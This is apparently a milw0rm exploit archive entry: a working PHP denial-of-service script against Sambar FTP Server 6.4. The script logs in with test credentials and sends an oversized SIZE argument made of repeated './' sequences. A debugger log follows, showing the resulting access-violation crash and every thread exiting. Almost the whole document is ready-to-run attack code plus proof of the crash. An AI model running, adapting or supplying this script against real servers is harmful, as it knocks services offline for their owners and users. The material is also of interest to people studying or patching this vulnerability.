Sambar FTP Server 6.4 (SIZE) Remote Denial of Service Exploit

<?php # Sambar FTP Server 6.4 SIZE Denial Of Service # by rgod # mail: retrog at alice dot it # site: http://retrogod.altervista.org # tested on WinXP sp2 error_reporting(E_ALL); $service_port = getservbyname('ftp', 'tcp'); $address = gethostbyname('192.168.1.3'); $user="test"; $pass="test"; $junk=""; for ($i=1; $i<=160; $i++){ $junk.="./"; } $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed:\n reason: " . socket_strerror($socket) . "\n"; } else { echo "OK.\n"; } $result = socket_connect($socket, $address, $service_port); if ($result < 0) { echo "socket_connect() failed:\n reason: ($result) " . socket_strerror($result) . "\n"; } else { echo "OK.\n"; } $out=socket_read($socket, 240); echo $out; $in = "USER ".$user."\r\n"; socket_write($socket, $in, strlen ($in)); $out=socket_read($socket, 80); echo $out; $in = "PASS ".$pass."\r\n"; socket_write($socket, $in, strlen ($in)); $out=socket_read($socket, 80); echo $out; $in = "SIZE ".$junk."\r\n"; socket_write($socket, $in, strlen ($in)); socket_close($socket); /*20:13:17.600 pid=0C50 tid=0148 EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [2E2F2E7B]) ---------------------------------------------------------------- EAX=2E2F2E2F: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ECX=00000170: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDX=012CE7F0: 35 35 30 20 43 61 6E 27-74 20 61 63 63 65 73 73 ESP=012CE7C0: F0 E7 2C 01 FD FF FF FF-01 00 00 00 00 00 00 00 EBP=012CE900: 2F 2E 2F 2E 2F 2E 2F 2E-2F 2E 2F 2E 2F 2E 2F 2E ESI=00A0E3C0: 00 00 00 00 28 60 E2 00-B0 C0 D3 00 78 A6 28 10 EDI=00A016A0: 01 00 00 00 01 00 00 00-0A 00 00 00 B6 0B 00 00 EIP=1008DB22: 8B 48 4C 51 8B 55 08 8B-42 58 50 E8 EE AD 18 00 --> MOV ECX,[EAX+4C] ---------------------------------------------------------------- 20:13:17.610 pid=0C50 tid=0148 EXCEPTION (unhandled) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [2E2F2E7B]) ---------------------------------------------------------------- EAX=2E2F2E2F: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ECX=00000170: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDX=012CE7F0: 35 35 30 20 43 61 6E 27-74 20 61 63 63 65 73 73 ESP=012CE7C0: F0 E7 2C 01 FD FF FF FF-01 00 00 00 00 00 00 00 EBP=012CE900: 2F 2E 2F 2E 2F 2E 2F 2E-2F 2E 2F 2E 2F 2E 2F 2E ESI=00A0E3C0: 00 00 00 00 28 60 E2 00-B0 C0 D3 00 78 A6 28 10 EDI=00A016A0: 01 00 00 00 01 00 00 00-0A 00 00 00 B6 0B 00 00 EIP=1008DB22: 8B 48 4C 51 8B 55 08 8B-42 58 50 E8 EE AD 18 00 --> MOV ECX,[EAX+4C] ---------------------------------------------------------------- 20:13:17.610 pid=0C50 tid=0148 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=0D40 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=08A0 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=0900 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=0C44 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=0750 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=0244 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=04F0 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=0AC4 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=0870 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=01F0 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=0114 Thread exited with code 3221225477 20:13:17.610 pid=0C50 tid=0ABC Process exited with code 3221225477 */ ?> # milw0rm.com [2006-12-15]